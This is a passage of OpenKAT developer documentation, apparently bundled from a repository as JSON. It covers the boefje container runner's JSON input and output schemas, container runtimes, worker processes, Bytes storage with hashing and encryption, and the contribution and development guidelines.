filebeat container. This is something that can\nbe done with a cluster component like filebeat that is supposed to have access\nto the log files of all containers. This should not be done with an application\nlike OpenKAT, because OpenKAT should not have access to the log files of other\napplications that are running on the Kubernetes cluster.\n\nCopying files from the container is also not an option, because for example the\n`kubectl cp` command to copy files from a container actually executes `tar` in\nthe container using `kubectl exec`. There is also no guarantee that the\ncontainer will be around when it's done, because after the container exits it is\nusually removed right away.\n\nBecause of this we designed a simple HTTP API for input and output. This HTTP\nAPI will be part of new boefjes runner and will communicate with existing parts\nof KAT such as bytes and mula (the scheduler) to get the boefje input and save\nits output.\n\nThe HTTP API will be versioned, so that the API can evolve while staying\ncompatible with existing boefjes.\n\n[kubernetes-logging]: https://kubernetes.io/docs/concepts/cluster-administration/logging/#how-nodes-handle-container-logs\n[filebeat-kubernetes]: https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html\n\n### Input\n\nThe container will get a URL of an API endpoint that will provide its input as\none of its command line arguments. The container will then make a GET request\nto this URL to get the input.\n\nThe input is a JSON object, specified by the following JSON schema:\n\n```json\n{\n  \"$schema\": \"https://json-schema.org/draft/2020-12/schema\",\n  \"$id\": \"https://openkat.nl/boefje_input.schema.json\",\n  \"type\": \"object\",\n  \"title\": \"Boefje input\",\n  \"additionalProperties\": false,\n  \"properties\": {\n    \"output_url\": {\n      \"type\": \"string\"\n    },\n    \"task\": {\n      \"properties\": {\n        \"id\": {\n          \"format\": \"uuid\",\n          \"type\": \"string\"\n        },\n        \"data\": {\n          \"properties\": {\n            \"id\": {\n              \"format\": \"uuid\",\n              \"type\": \"string\"\n            },\n            \"boefje\": {\n              \"properties\": {\n                \"id\": {\n                  \"minLength\": 1,\n                  \"type\": \"string\"\n                },\n                \"version\": {\n                  \"anyOf\": [\n                    {\n                      \"type\": \"string\"\n                    },\n                    {\n                      \"type\": \"null\"\n                    }\n                  ],\n                  \"default\": null\n                },\n                \"oci_image\": {\n                  \"anyOf\": [\n                    {\n                      \"type\": \"string\"\n                    },\n                    {\n                      \"type\": \"null\"\n                    }\n                  ],\n                  \"default\": null\n                }\n              },\n              \"required\": [\"id\"],\n              \"type\": \"object\"\n            },\n            \"input_ooi\": {\n              \"anyOf\": [\n                {\n                  \"type\": \"string\"\n                },\n                {\n                  \"type\": \"null\"\n                }\n              ],\n              \"default\": null\n            },\n            \"arguments\": {\n              \"additionalProperties\": true,\n              \"default\": {},\n              \"type\": \"object\"\n            },\n            \"organization\": {\n              \"type\": \"string\"\n            },\n            \"environment\": {\n              \"anyOf\": [\n                {\n                  \"additionalProperties\": {\n                    \"type\": \"string\"\n                  },\n                  \"type\": \"object\"\n                },\n                {\n                  \"type\": \"null\"\n                }\n              ],\n              \"default\": null\n            }\n          },\n          \"required\": [\"id\", \"boefje\", \"organization\"],\n          \"type\": \"object\"\n        }\n      },\n      \"required\": [\"id\", \"data\"],\n      \"type\": \"object\"\n    }\n  },\n  \"required\": [\"output_url\", \"task\"]\n}\n```\n\n### Output\n\nWhen the container is finished, it can POST its output to the URL specified in\nthe input JSON object. The output is a JSON object, specified by the following\nJSON schema:\n\n```json\n{\n  \"$schema\": \"https://json-schema.org/draft/2020-12/schema\",\n  \"$id\": \"https://openkat.nl/boefje_output.schema.json\",\n  \"title\": \"Boefje output\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"status\": {\n      \"enum\": [\"COMPLETED\", \"FAILED\"],\n      \"type\": \"string\"\n    },\n    \"files\": {\n      \"anyOf\": [\n        {\n          \"items\": {\n            \"properties\": {\n              \"name\": {\n                \"type\": \"string\"\n              },\n              \"content\": {\n                \"contentEncoding\": \"base64\",\n                \"type\": \"string\"\n              },\n              \"tags\": {\n                \"anyOf\": [\n                  {\n                    \"items\": {\n                      \"type\": \"string\"\n                    },\n                    \"type\": \"array\",\n                    \"uniqueItems\": true\n                  },\n                  {\n                    \"type\": \"null\"\n                  }\n                ],\n                \"default\": null\n              }\n            },\n            \"required\": [\"name\", \"content\"],\n            \"type\": \"object\"\n          },\n          \"type\": \"array\"\n        },\n        {\n          \"type\": \"null\"\n        }\n      ],\n      \"default\": null\n    }\n  },\n  \"required\": [\"status\"]\n}\n```\n\nThe tags for each file can include a MIME type.\n\n## Logging\n\nLogging will be captured through the container's orchestrator/runtime API and\nstored in Bytes. Alternatively, the boefje can output its own logging in a\nseparate file as part of its output, which will be stored in Bytes as well.\n\n## Runtimes\n\n### Docker\n\nDocker containers can be run as one-off jobs by creating a container, polling\nits status on a regular interval, and removing it when it is finished.\n\nAn official, well-maintained Python API is available:\n\n- https://pypi.org/project/docker/\n- https://docker-py.readthedocs.io/en/stable/\n- https://github.com/docker/docker-py\n\nLogging can be captured through the API, but the specifics of available on the\nlogging driver: https://docs.docker.com/config/containers/logging/json-file/\n\n### Kubernetes\n\nKubernetes has a specific object type for one-off workloads:\n[Jobs](https://kubernetes.io/docs/concepts/workloads/controllers/job/).\n\nThese Jobs can be created through the Kubernetes API, and their status can be\npolled (pull-based) or watched (push-based) through the API as well.\n\nAn official, well-maintained Python API is available:\n\n- https://pypi.org/project/kubernetes/\n- https://github.com/kubernetes-client/python\n\nLogging can be captured [through the API][k8s-logs-api], but logs get rotated so\na large volume of logs may not be fully available. See\nhttps://kubernetes.io/docs/concepts/cluster-administration/logging/ for more\ndetails.\n\n[k8s-logs-api]: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#read-log-pod-v1-core\n\n### Nomad\n\nNomad can run one-off jobs by setting the job type to 'batch':\n\n- https://developer.hashicorp.com/nomad/docs/job-specification/job#type\n- https://developer.hashicorp.com/nomad/docs/schedulers#batch\n\nAn unofficial Python API is available:\n\n- https://pypi.org/project/python-nomad/\n- https://github.com/jrxfive/python-nomad\n\nLogging can be captured [through the API][nomad-logs-api],\nbut Nomad does not retain logs for long periods of time. From\nhttps://developer.hashicorp.com/nomad/tutorials/manage-jobs/jobs-accessing-logs:\n\n> While the logs command works well for quickly accessing application logs, it\n> generally does not scale to large systems or systems that produce a lot of log\n> output, especially for the long-term storage of logs. Nomad's retention of log\n> files is best effort, so chatty applications should use a better log retention\n> strategy.\n\n[nomad-logs-api]: https://developer.hashicorp.com/nomad/api-docs/client#stream-logs\n\n## Building images with this spec from the current boefjes\n\nThe approach to building OCI images from the boefjes we currently have in our\nsystem has been discussed in [this ticket][ticket], with the first versions\nhaving been implemented in these PRs:\n\n- https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/2709\n- https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/2832\n\n### Summary of decisions\n\nWe decided not to focus on the following:\n\n- We are **not** going to provide plain zip archives in the near future.\n- Discoverability of images from external repositories (potentially containing\n  multiple boefjes) will be pushed to later versions of OpenKAT.\n\nIn terms of how we are going to build images, we decided to:\n\n- Just leverage Docker as this has to be available for OpenKAT devs anyway.\n- Aim to keep the build scripts flexible but simple, e.g. for `kat_dnssec` we have:\n\n```\ndocker build -f ./boefjes/plugins/kat_dnssec/boefje.Dockerfile -t openkat/dns-sec --build-arg BOEFJE_PATH=./boefjes/plugins/kat_dnssec .\n```\n\n- Use, as shown above, the [naming convention][dockerfile-naming] for Dockerfiles\n  since we may want to add normaliser Dockerfiles in the same directory.\n- Use a Python base image for all our boefjes, so we can use shared Python code to\n  communicate with the boefjes API. Since there is no one tool available across Docker base images\n  that can perform HTTP communication, we might as well use Python for this. Other possible tools to perform HTTP\n  communication are curl, wget and/or other HTTP clients. Later, we can consider\n  creating platform-specific, pre-built binaries using languages such as Go or Rust.\n- In particular, build the images using a `python:3.11-slim` base image. A basic check shows the following\n  sizes per base image, but Alpine [does not support standard PyPI wheels][wheels]:\n\n| python:3.11 | python:3.11-slim | python:3.11-alpine |\n| ----------- | ---------------- | ------------------ |\n| 1.01 GB     | 157 MB           | 57 MB              |\n\nIn terms of when to build images, we decided to:\n\n- Make the builds part of the installation script through `make -C boefjes images`.\n- Put the responsibility to (re)build new images while developing boefjes on developers.\n\n[ticket]: https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/issues/2443\n[dockerfile-naming]: https://docs.docker.com/build/building/packaging/#filename\n[wheels]: https://pythonspeed.com/articles/alpine-docker-python/\n\n## Limitations\n\nIn this design the boefjes runner will create a new container for each task,\nwhich has a non-negligible overhead. This overhead can be reduced by batching\nmultiple tasks in a single container run. This design does not currently\nconsider that to ensure the implementation is as simple as possible. It can be\nadded to the runner in the future, but will also require changes to the KAT\nscheduler to support scheduling batched tasks. Also see the following issues\nand discussions to see the progress on this (performance) feature:\n\n- https://github.com/minvws/nl-kat-coordination/issues/2613\n- https://github.com/minvws/nl-kat-coordination/issues/2857\n- https://github.com/minvws/nl-kat-coordination/issues/2811\n"
  },
  {
    "path": "docs/source/developer-documentation/boefjes.md",
    "content": "# Boefjes\n\nThis module has several entry points discussed below, but let us first consider the prerequisites and scope.\nIf you already have a running setup and want to learn where each bit of functionality goes, read the following page: :ref:`make-your-own-bits`.\n\n## Prerequisites\n\nTo run a development environment you need to have:\n\n- A running RabbitMQ service\n- A running Bytes API service\n- A `./env` containing the environment variables explained below\n- Everything in the `requirements.txt` installed\n\nOptionally, you could have an instance of the octopoes api listening on a port that receives the normalized data from\nthe normalizers.\n\n## KATalogus\n\nSee the openAPI reference at http://localhost:8003/docs.\nThe KATalogus has CRUD endpoints for several objects such as:\n\n- `Organisation`\n- `Plugin`\n- `Setting`\n\n### Organisations\n\nSupported HTTP methods (for CRUD): `POST`, `GET`, `DELETE`.\nIncludes an endpoint that lists all objects.\nAll subsequent objects in the API are namespaced on the `organisation_id`.\n\n### Plugins\n\nSupported HTTP methods (for CRUD): `GET`, `PATCH`.\n\n### Settings\n\nSupported HTTP methods (for CRUD): `POST`, `GET`, `DELETE`, `PUT`.\nIncludes an endpoint that lists all objects.\n\nThe KATalogus stores environment settings for the different organisations and plugins, accessible through the API.\nThese can be encrypted by setting the `BYTES_ENCRYPTION_MIDDLEWARE=NACL_SEALBOX`, and the public and private key env vars.\nMore info about the encryption scheme can be found here: https://pynacl.readthedocs.io/en/latest/public/.\nCurrently, the settings are encrypted when stored, and returned decrypted.\nThis could be changed in the future when the boefje-runner/plugin-code can decrypt the secrets itself,\nalthough this would be more complicated.\n\n## Environment variables\n\nBy design, Boefjes do not have access to the host system's environment variables.\nIf a Boefje requires access to an environment variable (e.g. `HTTP_PROXY` or `USER_AGENT`), it should note as such in its `schema.json`.\nThe system-wide variables can be set as environment variable to the boefjes runner by prefixing it with `BOEFJE_`.\nThis is to prevent a Boefje from accessing variables it should not have access to, such as secrets.\nTo illustrate: if `BOEFJE_HTTP_PROXY=https://proxy:8080` environment variable is configured, the Boefje can access it as `HTTP_PROXY`.\nThis feature can also be used to set default values for KAT-alogus settings. For example, configuring the `BOEFJE_TOP_PORTS` environment variable\nwill set the default value for the `TOP_PORTS` setting (used by the nmap Boefje).\nThis default value can be overridden per organisation by setting any value for `TOP_PORTS` in the KAT-alogus.\n\n## Technical Design\n\nBoefjes will run as containerized workers pulling jobs from a queue in the Scheduler:\n\n```{mermaid}\nsequenceDiagram\n    participant Boefje\n    participant Rocky\n    participant Scheduler\n    participant Normalizer\n    participant Bytes\n    participant Octopoes\n    Boefje->>+Scheduler: Get Boefje Task\n    Scheduler-->>Scheduler: boefje_task.status = DISPATCHED\n    Boefje->>Scheduler: boefje_task.status = RUNNING\n    Boefje-->>Boefje: Run Boefje Task\n    Boefje->>Scheduler: boefje_task.status = COMPLETED\n    Boefje->>Bytes: Save Raw\n    Bytes-->>Scheduler: Raw File Received\n    Scheduler->>Scheduler: Push Normalizer Task\n    Normalizer->>Scheduler: Get Normalizer Task\n    Scheduler-->>Scheduler: normalizer_task.status = DISPATCHED\n    Normalizer->>Bytes: Get Raw\n    Normalizer->>Scheduler: normalizer_task.status = RUNNING\n    Normalizer-->>Normalizer: Run Normalizer Task\n    Normalizer->>Scheduler: normalizer_task.status = COMPLETED\n    Normalizer->>Octopoes: Add object(s)\n```\n\nThe connection between the Scheduler and Bytes is managed asynchronously through RabbitMQ.\n\n### Boefje and Normalizer Workers\n\nWhen we configure a `POOL_SIZE` of `n`, we have `n` + 1 processes: one main process and `n` workers.\nThe main process pushes to a `multiprocessing.Manager.Queue` and keeps track of the task that was being handled by the workers.\nIt sets the status to failed when the worker was killed,\nlike when the process [runs out of memory and is killed by Docker](https://github.com/minvws/nl-kat-coordination/pull/1187).\n(Note: `multiprocessing.Queue` will not work due to [`qsize()` not being implemented on macOS](https://github.com/minvws/nl-kat-coordination/pull/1374).)\nNo maximum size is defined on the queue since we want to avoid blocking.\nHence, we manually check if the queue does not pile up beyond the number of workers, i.e. `n`.\n\n#### Parallel Workers\n\nThe setup for the main process and workers:\n\n```{mermaid}\ngraph LR\n\nSchedulerRuntimeManager -- \"pop()\" --> Scheduler\n\nsubgraph Process 0\n\n  multiprocessing.Queue\n  SchedulerRuntimeManager -- \"put(p_item)\" --> multiprocessing.Queue[\"multiprocessing.Manager.Queue()\"]\n\n  Worker-1[\"Worker 1<br/><i>target = _start_working()\"] -- \"get()\" --> multiprocessing.Queue\n\n  subgraph Process 1\n    Worker-1\n    Worker-1 -- runs --> Plugin1[\"Plugin\"]\n  end\n\n  Worker-2[\"Worker 2<br/><i>target = _start_working()\"] -- \"get()\" --> multiprocessing.Queue\n\n  subgraph Process 2\n      Worker-2\n      Worker-2 -- runs --> Plugin2[\"Plugin\"]\n  end\nend\n```\n\n#### Sending a SIGKILL to a worker process\n\nA representation of the failure mode when a SIGKILL has been sent to the worker (also see `boefjes/app.py`):\n\n```{mermaid}\nsequenceDiagram\n  participant SchedulerRuntimeManager\n  participant SharedDict\n  participant Queue\n  participant Worker[pid=1]\n  participant Scheduler\n  participant Worker[pid=2]\n  Worker[pid=1]->>SharedDict: set: SharedDict[1] = p_item.id\n  Worker[pid=1]->>Worker[pid=1]: receives SIGKILL\n  SchedulerRuntimeManager->>Worker[pid=1]: if not is_alive()\n  SchedulerRuntimeManager->>SharedDict: set p_item_id = SharedDict[1]\n  SchedulerRuntimeManager->>Scheduler: set p_item_id status to FAILED\n  SchedulerRuntimeManager->>Worker[pid=1]: close()\n  SchedulerRuntimeManager->>Worker[pid=2]: start()\n```\n\nHere, the `SharedDict` maps worker process IDs (PIDs) to the task they are handling.\n\n### Running as a Docker container\n\nTo run a boefje and normalizer worker as a docker container, you can run\n\n```bash\ndocker build . -t boefje\ndocker run --rm -d --name boefje boefje python -m boefjes boefje\ndocker run --rm -d --name normalizer boefje python -m boefjes normalizer\n```\n\nNote: the worker needs a running Bytes API and RabbitMQ. The service locations can be specified with environment variables\n(see the Docker documentation to use a `.env` file with the `--env-file` flag, for instance).\n\n### Running the worker directly\n\nTo start the worker process listening on the job queue, use the `python -m boefjes` module.\n\n```bash\n$ python -m boefjes --help\nUsage: python -m boefjes [OPTIONS] {boefje|normalizer}\n\nOptions:\n  --log-level [DEBUG|INFO|WARNING|ERROR]\n                                  Log level\n  --help                          Show this message and exit.\n```\n\nSo to start either a `boefje` worker or `normalizer` worker, run:\n\n- `python -m boefjes boefje`\n- `python -m boefjes normalizer`\n\nAgain, service locations can be specified with environment variables.\n\n### Example job\n\nThe job file for a DNS scan might look like this:\n\n```json\n{\n  \"id\": \"b445dc20-c030-4bc3-b779-4ed9069a8ca2\",\n  \"organization\": \"_dev\",\n  \"boefje\": {\n    \"id\": \"ssl-scan-job\",\n    \"version\": null\n  },\n  \"input_ooi\": \"Hostname|internet|www.example.nl\"\n}\n```\n\nIf the tool runs smoothly, the data can be accessed using the Bytes API (see Bytes documentation).\n\n### Manually running a boefje or normalizer\n\nIt is possible to manually run a boefje using\n\n```shell\n$ ./tools/run_boefje.py ORGANIZATION_CODE BOEFJE_ID INPUT_OOI\n```\n\nThis will execute the boefje with debug logging turned on. It will log the raw\nfile id in the output, which can be viewed using `show_raw`:\n\n```shell\n$ ./tools/show_raw.py RAW_ID\n```\n\nThere is also a `--json` option to parse the raw file as JSON and pretty print\nit. The normalizer is run using:\n\n```shell\n$ ./tools/run_normalizer.py NORMALIZER_ID RAW_ID\n```\n\nBoth `run_boefje.py` and `run_normalizer.py` support the `--pdb` option to enter\nthe standard Python Debugger when an exceptions happens or breakpoint is\ntriggered.\n\nIf you are using the standard docker compose developer setup, you can use\n`docker compose exec` to execute the commands in the container. The boefje and\nnormalizer containers use the same images and settings, so you can use both:\n\n```shell\n$ docker compose exec boefje ./tools/run_boefje.py ORGANIZATION_CODE BOEFJE_ID INPUT_OOI\n```\n\nFor example:\n\n```shell\n$ docker compose exec boefje ./tools/run_boefje.py myorganization dns-records \"Hostname|internet|example.com\"\n$ docker compose exec boefje ./tools/show_raw.py --json 794986d7-cf39-4a2c-8bdf-17ae58f361ea\n$ docker compose exec boefje ./tools/run_normalizer.py kat_dns_normalize 794986d7-cf39-4a2c-8bdf-17ae58f361ea\n```\n\n### Boefje and normalizer structure\n\nEach boefje and normalizer module is placed in `boefjes/<module>`. A module's main script is usually called `main.py`,\nand a normalizer is usually called `normalize.py`, but it also may contain one or more normalizers.\nA definition file with metadata about the boefje is called `boefje.py`.\nHere a `Boefje` object that wraps this metadata is defined, as well as `Normalizer` objects that can parse this Boefje's output.\nEach module may also have its own `requirements.txt` file that lists dependencies not included in the base requirements.\nFurthermore, you can add static data such as a cover and a description (markdown) to show up in Rocky's KATalogus.\n\n#### Example\n\n```shell\n$ tree boefjes/plugins/kat_dns\n├── boefje.json\n├── cover.jpg\n├── description.md\n├── __init__.py\n├── main.py\n├── normalize.py\n├── normalizer.json\n└── schema.json\n```\n\n### Tests\n\nTo run the unit test suite, run:\n\n```shell\n$ python -m pytest\n```\n\nFor the KATalogus integration tests, run:\n\n```shell\n$ make itest\n```\n\nTo lint the code using pre-commit, run:\n\n```shell\n$ pre-commit run --all-files\n```\n"
  },
  {
    "path": "docs/source/developer-documentation/bytes.md",
    "content": "# Bytes\n\nBytes is a service that provides an API for reading and writing metadata of jobs and job outputs (raw files).\nIt can also encrypt the raw data, and hash it to proof that the data was seen before a point in time (see below).\n\n## Installation\n\nThere are two ways to setup the API.\n\n### With Docker\n\nBytes can be fired up from the root directory of KAT using docker-compose (check out the README over there!).\n\nTo run Bytes as a standalone container, spin up a Postgresql database (e.g. using Docker),\ncreate the database `bytes` and run\n\n```shell\n$ docker build . -t bytes\n\n# Without an env-file\n$ export BYTES_PASSWORD=$(openssl rand -hex 20) \\\n    && export BYTES_SECRET=$(openssl rand -hex 20) \\\n    && export BYTES_DB_URI=postgresql://USER:PWD@bytes-db:5432/bytes  # change accordingly!\n$ docker run --rm -p 8002:8002 -e BYTES_USERNAME=bytes -e BYTES_PASSWORD -e BYTES_SECRET -e BYTES_DB_URI bytes\n\n\n# With an env-file\n$ docker run --rm -p 8002:8000 --env-file=/path/to/env bytes  # change accordingly!\n```\n\n### Without Docker\n\nTo create and start a Python virtual environment, run\n\n```shell\n$ python -m venv $PWD/.venv\n$ source .venv/bin/activate\n```\n\nTo install the dependencies, assuming you are in the virtual environment, run\n\n```shell\n$ pip install -r requirements-dev.txt\n```\n\nBytes depends on a Postgresql database that is configurable by the BYTES_DB_URI environment variable.\nSee above for a minimal set of environment variables to start Bytes and\n\nTo start the API run\n\n```shell\n$ uvicorn bytes.api:app --host 127.0.0.1 --port 8002 --reload --reload-dir /app/bytes/bytes\n```\n\nSee http://localhost:8002/docs for the OpenAPI documentation.\n\n### Hashing and Encryption\n\nEvery raw file is hashed with the current `ended_at` of the `boefje_meta`,\nwhich functions as a 'proof' of it being uploaded at that time.\nThese proofs can be uploaded externally (a 3rd party) such that we can verify that this data was saved in the past.\n\nCurrent implementations are\n\n- `BYTES_EXT_HASH_REPOSITORY=\"IN_MEMORY\"` (just a stub)\n- `BYTES_EXT_HASH_REPOSITORY=\"PASTEBIN\"` (Needs pastebin API development key)\n- `BYTES_EXT_HASH_REPOSITORY=\"RFC3161\"`\n\nFor the RFC3161 implementation, see https://www.ietf.org/rfc/rfc3161.txt and https://github.com/trbs/rfc3161ng as a reference.\nTo use this implementation, set your environment to\n\n- `BYTES_EXT_HASH_REPOSITORY=RFC3161`\n- `BYTES_RFC3161_PROVIDER=\"https://freetsa.org/tsr\"` (example)\n- `BYTES_RFC3161_CERT_FILE=\"bytes/timestamping/certificates/freetsa.crt\"` (example)\n\nAdding a new implementation means implementing the `bytes.repositories.hash_repository::HashRepository` interface.\nBind your new implementation in `bytes.timestamping.provider::create_hash_repository`.\n\nThe secure-hashing-algorithm can be specified with an env var: `BYTES_HASHING_ALGORITHM=\"SHA512\"`.\n\n```bash\nBYTES_HASHING_ALGORITHM=\"SHA512\"\nBYTES_EXT_HASH_REPOSITORY=\"IN_MEMORY\"\nBYTES_PASTEBIN_API_DEV_KEY=\"\"\n```\n\nFiles in bytes can be saved encrypted to disk,\nthe implementation can be set using an env-var, `BYTES_ENCRYPTION_MIDDLEWARE`. The options are:\n\n- `\"IDENTITY\"`\n- `\"NACL_SEALBOX\"`\n\nThe `\"NACL_SEALBOX\"` option requires the `BYTES_PRIVATE_KEY_B64` and `BYTES_PUBLIC_KEY_B64` env vars.\n\n### Observability\n\nBytes exposes a `/metrics` endpoint for basic application level observability,\nsuch as the amount of organizations and the amount of raw files per organization.\nAnother important component to monitor is the disk usage of Bytes.\nIt is recommended to install [node exporter](https://prometheus.io/docs/guides/node-exporter/) to keep track of this.\n\n## Design\n\nWe now include two levels of design, according to the [C4 model](https://c4model.com/).\n\n### Design: C2 Container level\n\nThe overall view of the code is as follows.\n\n```{mermaid}\ngraph\n    User((User))\n    Rocky[\"Rocky<br/><i>Django App</i>\"]\n    Bytes{\"Bytes<br/><i>FastAPI App\"}\n    RabbitMQ[[\"RabbitMQ<br/><i>Message Broker\"]]\n    Scheduler[\"Scheduler<br/><i>Software System\"]\n    Boefjes[\"Boefjes<br/><i>Python App\"]\n\n    Boefjes -- GET/POST Raw/Meta --> Bytes\n    User -- Interacts with --> Rocky\n    Rocky -- GET/POST Raw/Meta --> Bytes\n\n    Bytes -- \"publish(RawFileReceived)\" --> RabbitMQ\n    Scheduler --\"subscribe(RawFileReceived)\"--> RabbitMQ\n    Scheduler --\"GET BoefjeMeta\"--> Bytes\n```\n\n### Design: C3 Component level\n\nThe overall view of the code is as follows.\n\n```{mermaid}\ngraph LR\n    User -- BoefjeMeta --> APIR1\n    User -- NormalizerMeta --> APIR2\n    User -- RawFile --> APIR3\n\n\n    User[User]\n\n    APIR1 -- save BoefjeMeta --> MR\n    APIR2 -- save NormalizerMeta --> MR\n    APIR3 -- save RawFile --> MR\n\n    subgraph API[\"Bytes API\"]\n        APIR1[API Route]\n        APIR2[API Route]\n        APIR3[API Route]\n    end\n\n    subgraph Bytes[\"Bytes Domain\"]\n        APIR3 -- \"publish(RawFileReceived)\" --> EM[EventManager]\n        MR[Meta Repository] -- Raw  --> H[Hasher] -- Hash --> MR[Meta Repository]\n        MR[Meta Repository] -- save Hash --> HR[Hash Repository]\n        MR[Meta Repository] -- save RawFile --> R[Raw Repository]\n        R[Raw Repository] -- RawFile --> F[FileMiddleware]\n    end\n\n    F[FileMiddleware] -- Encrypted Data --> Disk[[Disk]] -- Encrypted Data  --> F[FileMiddleware]\n    HR[Hash Repository] -- Hash --> T[[Third Party]]\n    MR[Meta Repository] -- BoefjeMeta/NormalizerMeta --> RDB[(Psql)]\n    EM[EventManager] -- \"{'event_id': 123}\" --> RabbitMQ[[RabbitMQ]]\n```\n\nThis diagram roughly covers the C4 level as well, as this is a small service that can be regarded as one component.\n\n## Development\n\nThe `Makefile` provides useful targets to use during development. To see the options run\n\n```shell\n$ make help\n```\n\n### Code style and tests\n\nAll the code style and linting checks are done by running\n\n```shell\n$ make check\n```\n\nThe unit and integration tests targets are `utest` and `itest` respectively.\nTo run all test, run\n\n```shell\n$ make test\n```\n\nTo make sure all github actions (checks and tests) pass, run\n\n```shell\n$ make done\n```\n\nIdeally, you run this before each commit.\nPassing all the checks and tests in this target should ensure the github actions pass.\n\n### Migrations\n\nTo make a new migration file and run the migration, run\n\n```shell\n$ make migrations m='Some migration message'\n$ make migrate\n```\n\n### Export SQL migrations\n\nTo export raw SQL from the SQLAlchemy migration files, run the following target\n(for the diff between 0003 and 0004):\n\n```shell\n$ make sql rev1=0003 rev2=0004 > sql_migrations/0004_change_x_to_y_add_column_z.sql\n```\n\n## Production\n\n### Performance tuning\n\nBytes caches some metrics for performance, but the default is not to cache these queries.\nIt is recommended to tune the `BYTES_METRICS_TTL_SECONDS` variable to on the amount of calls to the `/metrics` endpoint.\nAs a guideline, add at least 10 seconds to the cache for every million of raw files in the database.\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/guidelines/contributions.rst",
    "content": "Contributions\n#############\n\nAll contributions, bug reports, bug fixes, documentation improvements, enhancements and ideas are welcome.\nYou can directly join and be involved in the development of OpenKAT:\n\n- Install and use OpenKAT and provide feedback\n- Development of boefje, normalizer and bit plugins\n- Propose new features\n- Report bugs\n- Solve tickets with a ``good first issue`` label\n- Port OpenKAT to other systems\n\nNote that it is required to sign a `Contributor License Agreement <https://cla-assistant.io/minvws/nl-kat-coordination>`_ when submitting.\nThe ``CLAassitant`` bot will request this automatically on your first Pull Request.\n\nContribute to Codebase\n======================\n\n\nSee :ref:`about-openkat-development` for our code style, coding conventions, and overall workflow.\n\n- Fork the right repository in GitHub\n- Create a new branch from either ``main`` or a release tag. Note that ``main`` changes rapidly, and as such may not be a suitable basis for your work.\n    - This branch should be in the following format:\n    - ``[feature|enhancement|bug|hotfix]/random-cat-popup-on-screen``\n- Commit and push the code\n    - Make sure the code is linted, formatted and has correct typing. Use ``pre-commit`` locally for this, see :ref:`about-openkat-precommit`.\n    - All commits must be signed, see :ref:`about-openkat-signed-commits`.\n- Submit Pull Request\n    - Make sure your code is tested and the PR has a good title and description\n    - Use the PR template\n    - Let your code be reviewed\n    - You might have to update your PR after remarks and submit rework for approval\n\n\nContribute Documentation\n========================\n\nContributing to the documentation benefits everyone who uses OpenKAT.\nWe encourage you to help us improve the documentation, and you don't have to be an expert using OpenKAT to do so.\nThere are many sections that are better off written by non-experts.\nIf something in the docs doesn't make sense to you, updating the relevant section might be a great way to ensure it will help the next person.\nYou're welcome to propose edits to almost every text, including comments and docstrings in the code, this documentation, and other files.\n\nYou could help us out with the following sections:\n\n- Code documentation\n- Tutorials\n- Translations\n- This document\n\nAll documentation should be placed in a repository's ``docs`` folder.\n\nContribute Translations\n=======================\n\n.. image:: https://hosted.weblate.org/widget/openkat/287x66-white.png\n   :target: https://hosted.weblate.org/engage/openkat/\n   :alt: Translation status (summary)\n\n.. image:: https://hosted.weblate.org/widget/openkat/multi-auto.svg\n   :target: https://hosted.weblate.org/engage/openkat/\n   :alt: Translation status (bar chart)\n\n============ ==============================\n Language     Support\n============ ==============================\n English      Default; used in source code\n Dutch        Official\n Papiamentu   Community\n Italian      Community\n============ ==============================\n\nWe gratefully use `Weblate <https://hosted.weblate.org/engage/openkat/>`_ to manage the translations.\nCommunity contributions are very welcome and can be made via Weblate's interface.\nThis is a great way to help the project forward and doesn't require any technical expertise.\nIf you would like to see OpenKAT in another language, let us know!\n\nAny authenticated Weblate user can edit translation strings directly or make suggestions.\nAny translation updates in Weblate will be automatically submitted as a GitHub PR after 24 hours, which will be reviewed by the development team.\nIf you contribute to the translation effort, you will receive a mention in the source code.\n\nNote that editing the English localization requires changing the source string in Django, which must be done through a GitHub PR manually.\nIn addition, take care not to edit the ``.po`` files through GitHub directly, as this may cause merge conflicts when Weblate has pending translations.\n\nAdding a new language\n---------------------\nYou can add a new language to OpenKAT by following these steps:\n\n1. Add a new language through Weblate's interface\n    Alternatively: create a new ``rocky/rocky/locale/$LANGUAGE_CODE/LC_MESSAGES/django.po`` file directly in the repository.\n    You can use ``rocky/rocky/locale/django.pot`` as a template.\n2. Add the language code to the ``LANGUAGES`` list in ``rocky/rocky/settings.py``\n    Note that languages not supported by Django require that you also add a custom dictionary entry in ``EXTRA_LANG_INFO``.\n\nThe new language should be automatically picked up by both Weblate and Django.\n\nContributor Social Contract\n===========================\nAll contributors (including, but not limited to, developers and issue reporters) promise to do their best to adhere to the guidelines in :ref:`guidelines-index`.\nEveryone is encouraged to politely and constructively point out guidelines violations to others.\nActively enforcing these guidelines makes that the entire project benefits in quality control.\n\nCode of Conduct\n===============\nSee the `Code of Conduct of the Ministry of Health, Welfare, and Sport <https://github.com/minvws/.github/blob/main/CODE_OF_CONDUCT.md>`_.\n\nSecurity\n========\nSee the `Responsible Disclosure Statement of the Ministry of Health, Welfare, and Sport <https://github.com/minvws/.github/blob/main/SECURITY.md>`_.\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/guidelines/development.rst",
    "content": ".. _about-openkat-development:\n\nDevelopment\n###########\n\nCode\n====\n\nWe strive to keep the code compatible with the Python versions used in Debian Stable and the last two Ubuntu LTS releases.\nAs of writing, these are Python 3.8, 3.9, and 3.10.\n\nTo improve readability and consistency we use the `PEP 8 <https://peps.python.org/pep-0008/>`_ guidelines.\nDevelopers are encouraged to write their code as strictly compliant as possible.\n\nTools\n=====\n\nTo make development and validation easier, we adopted :ref:`about-openkat-precommit` hooks to automate most of this.\nThis will help identify broken/bad code, improve consistency and save time during code reviews.\nSome tools and hooks have been adopted for both local development as well as in our CI/CD pipeline as GitHub actions.\n\nSome of the tools are:\n\n- ``black`` for formatting, it also takes care of imports order\n- ``ruff`` for checking code style, programming errors, and more\n- ``vulture`` for checking dead code\n\nWith some tools exceptions are made that differ a bit from the standard configuration such as line lengths, error codes, etc.\nSee the different configuration files. A few more will be implemented later on including:\n\n- ``mypy`` for type checking\n\nFor the frontend there are a few more tasks in the CI/CD pipeline:\n\n- Compiling messages/language files\n- ``robotidy`` for tidying up Robot tests\n\n\n.. 